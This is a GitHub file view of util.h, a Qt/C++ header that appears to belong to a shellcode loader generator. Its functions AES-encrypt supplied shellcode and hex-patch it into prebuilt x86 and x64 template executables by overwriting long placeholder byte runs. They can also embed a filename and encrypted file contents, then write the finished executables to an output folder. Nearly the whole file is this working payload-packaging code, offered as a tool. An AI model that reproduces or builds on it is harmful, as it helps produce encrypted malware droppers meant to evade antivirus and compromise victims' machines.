-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathutil.h
More file actions
216 lines (169 loc) · 14.1 KB
/
Copy pathutil.h
File metadata and controls
216 lines (169 loc) · 14.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#include <QFile>
#include <QProcess>
#include <QString>
#include <QTextStream>
#include <qmessagebox.h>
#include <string.h>
#include <QCryptographicHash>
#include <QDateTime>
#include "Rijndael.h"
#include <QDir>
#include <QTextCodec>
#include <qdebug.h>
#include <windows.h>
#define SHELLCODELEN 4096
#ifndef UTIL_H
#define UTIL_H
#endif
QByteArray loadFile(QString filename) {
QByteArray filecontent;
QFile file(filename);
if (file.open(QIODevice::ReadOnly))
{
filecontent = file.readAll();
file.close();
}
return filecontent;
}
void writeFiledata(QString filename, QByteArray filedata) {
QFile file(filename);
file.open(QIODevice::WriteOnly);
QByteArray str = filedata;
file.write(str);
file.close();
}
string EncryptionAES(const string shellcoderaw)
{
string encrpt_string = encryt(shellcoderaw);
return encrpt_string;
}
string DecryptionAES(const string shellcodeencrypt)
{
string decrpt_string = decryt(shellcodeencrypt);
return decrpt_string;
}
void writeFiledata(QByteArray filedata) {
QFile file("c:/a.txt");
file.open(QIODevice::ReadWrite | QIODevice::Text);
QByteArray str = filedata;
file.write(str);
file.close();
}
void writeFiledata(QString filedata) {
QFile file;
file.setFileName("C:/3.txt");
if (file.open(QIODevice::WriteOnly | QIODevice::Text)) {
QTextStream stream(&file);
stream << filedata << "\n";
file.close();
}
}
size_t ConvertHexStrToInt(const char* hex_str, size_t length)
{
size_t sum = 0;
for (size_t i = 0; i < length; ++i)
{
int asc = (int)hex_str[i];
size_t r1 = (asc & 0x40) ? (asc & 0x0F) + 0x9 : (asc & 0x0F);
sum += (r1 * pow(16, length - i - 1));
}
return sum;
}
uint8_t* ConvertToBinBuf(const char* hex_str, size_t* buf_size)
{
if (!hex_str)
{
*buf_size = 0;
return NULL;
}
size_t len = strlen(hex_str);
assert(!(len % 2));
*buf_size = len / 2;
uint8_t* buf = (uint8_t*)malloc(*buf_size);
for (size_t i = 0, j = 0; i < len; i += 2, ++j)
{
uint8_t value = (uint8_t)ConvertHexStrToInt(hex_str + i, 2);
buf[j] = value;
}
return buf;
}
QString toHexadecimal(const QByteArray& byteArray)
{
QString str;
for (int i = 0; i < byteArray.length(); i++) {
QString byteStr = QString::number(static_cast<uchar>(byteArray[i]), 16);
if (byteStr.length() == 1) str += "0" + byteStr;
else str += byteStr;
}
return str;
}
void compileExe(string encrypt_string, QString filepath, string pandingData, string filenameString, string EncryptFilecontent) {
QByteArray dataarray = loadFile(filepath);
QString DataAsString = QString(dataarray);
QString dataraw = toHexadecimal(dataarray);
writeFiledata(dataraw);
QString encrypt_qstring = QString::fromStdString(encrypt_string);
QByteArray encrypt_data_array = encrypt_qstring.toUtf8();
QString encrypt_hex = toHexadecimal(encrypt_data_array);
int datalen = dataraw.indexOf("464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646");
dataraw.replace(datalen, encrypt_hex.length(), encrypt_hex);
QString tempstring2 = QString::fromStdString(pandingData);
QByteArray temparray2 = tempstring2.toUtf8();
QString temphex2 = toHexadecimal(temparray2);
int templen = dataraw.indexOf("41414141414141414141414141414141414141414141414141414141414141");
dataraw.replace(templen, temphex2.length(), temphex2);
if (filenameString.length() > 0 && !filenameString.empty()) {
if (EncryptFilecontent.length() > 0 && !EncryptFilecontent.empty()) {
QString tempstring = QString::fromStdString(filenameString);
QTextCodec* codec = QTextCodec::codecForName("GBK");
QByteArray temparray = codec->fromUnicode(tempstring);
QString temphex = toHexadecimal(temparray);
int templen = dataraw.lastIndexOf("48484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848");
dataraw.replace(templen, temphex.length(), temphex);
QString tempstring1 = QString::fromStdString(EncryptFilecontent);
QByteArray temparray1 = tempstring1.toUtf8();
QString temphex1 = toHexadecimal(temparray1);
int templen1 = dataraw.indexOf("4747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747");
dataraw.replace(templen1, temphex1.length(), temphex1);
}
}
char* str;
std::string filenamestr = filepath.toStdString();
const char* filenamechar = filenamestr.c_str();
QByteArray ba = dataraw.toLatin1();
str = ba.data();
FILE* file = fopen(filenamechar, "wb");
assert(file);
size_t len = 0;
uint8_t* buf2 = ConvertToBinBuf(str, &len);
fwrite(buf2, 1, len, file);
free(buf2);
fclose(file);
dataraw = "";
EncryptFilecontent = "";
encrypt_string = "";
}
bool compile(string encrypt_string, bool isX64, string pandingData, string filenameString, string EncryptFilecontent) {
QString currentPath = "";
if (isX64) {
currentPath = QDir::currentPath() + "/template/x64/";
}
else {
currentPath = QDir::currentPath() + "/template/x86/";
}
QDir dir(currentPath);
if (dir.exists())
{
QStringList dir_list = dir.entryList(QDir::Dirs | QDir::NoDotAndDotDot);
QStringList file_list = dir.entryList(QDir::Files | QDir::NoDotAndDotDot);
QStringList nameFilters;
nameFilters << "*.exe";
QStringList file_list_spec = dir.entryList(nameFilters, QDir::Files | QDir::NoDotAndDotDot);
for (int i = 0; i < file_list_spec.length(); i++) {
QString filepath = QDir::currentPath() + "/template/outfile/" + file_list_spec[i];
QFile::copy(currentPath + file_list_spec[i], filepath);
compileExe(encrypt_string, filepath, pandingData, filenameString, EncryptFilecontent);
}
}
return true;
}